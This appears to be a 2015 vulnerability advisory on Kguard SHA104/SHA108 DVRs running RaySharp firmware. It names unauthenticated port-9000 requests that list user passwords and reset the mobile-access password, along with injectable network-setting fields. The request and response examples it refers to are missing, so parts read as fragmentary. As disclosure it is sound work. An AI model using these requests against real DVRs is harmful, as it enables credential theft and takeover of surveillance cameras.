2015
PRODUCT DESCRIPTION
The Kguard SHA104 & SHA108 are 4ch/8ch H.264 DVRs designed for economical
application. It's stylish & streamlines hardware design and excellent
performance can be fast moving, competitive and an ideal solution for
entry level & distribution channels.

VULNERABILITY DESCRIPTION
1. Insufficient authentication and authorization
A deficiency in handling authentication and authorization has been found
with Kguard 104/108 models. While password-based authentication is used by
the ActiveX component to protect the login page, all the communication to
the application server at port 9000 allows data to be communicated
directly with insufficient or improper authorization.
The request HI_SRDK_SYS_USERMNG_GetUserList for example will show all the
usernames in the system together with their passwords. The below example
is an actual unmodified request and response by the server.

An interesting request is HI_SRDK_NET_MOBILE_GetOwspAttr. If configured,
this allows mobile devices to access and monitor the cameras at port
18004. An actual unmodified request and response is shown below.

The password to this user can be changed easily by executing the
HI_SRDK_NET_MOBILE_SetOwspAttr request as shown below and can be saved in
memory by executing HI_SRDK_DEV_SaveFlash:

The logs from the application server can confirm that the execution was
successful:

Logs from the DVR also shows that an existing mobile device that tries to
connect on port 18004 with previous credentials stored will fail:
< StreamingServer> [ run] A

----------------------- SESSION(116) END -----------------------
2. Lack of transport security
The communication to the application server is done by an unprotected
ActiveX component that is presented to the browser's initial session. The
lack of transport encryption may allow us to exploit possible request from
this component to the application server. This file is named as
HiDvrOcx.cab.
Decompiling the file will allow us to see the libraries being used:
-rw-rw-r--. 1 fjpfajardo fjpfajardo 1443576 Mar 11 2011 HiDvrOcx.ocx
-rw-rw-r--. 1 fjpfajardo fjpfajardo 1443 Mar 11 2011 HiDvrOcx.inf
-rw-rw-r--. 1 fjpfajardo fjpfajardo 27136 Mar 11 2011 HiDvrOcxESN.dll

-rw-rw-r--. 1 fjpfajardo fjpfajardo 487525 Mar 11 2011 HiDvrMedia.dll
Interestingly, checking the DLL file named HiDvrNet.dll will reveal other
types of controls which can be presented to the application server as
well:
HI_SRDK_NET_MOBILE_GetOwspAttr
HI_SRDK_NET_MOBILE_SetAttr

3. Denial of Service and Command Injection
Input are not sanitized and filtered in some of the fields which may lead
to a potential passive Denial of Service and/or command injection. By
altering some requests such as HI_SRDK_NET_SetPppoeAttr,
HI_SRDK_NET_Network_DHCP_Client_SetAttr, HI_SRDK_NET_SetWebServerPort or
HI_SRDK_NET_Network_SetDefaultGateway, a malicous user may be able to
disrupt connectivity to the DVR.

The application server that listens for incoming requests at port 9000 is
run by a binary called raysharp_dvr which suggest that the hardware
manufacturer is Zhuhai RaySharp Technology Co. While the purpose for this
vulnerability analysis is mainly for Kguard related DVR's, I believe that
other devices that use the same firmware by the manufacturer and rebranded
in the market are also vulnerable.
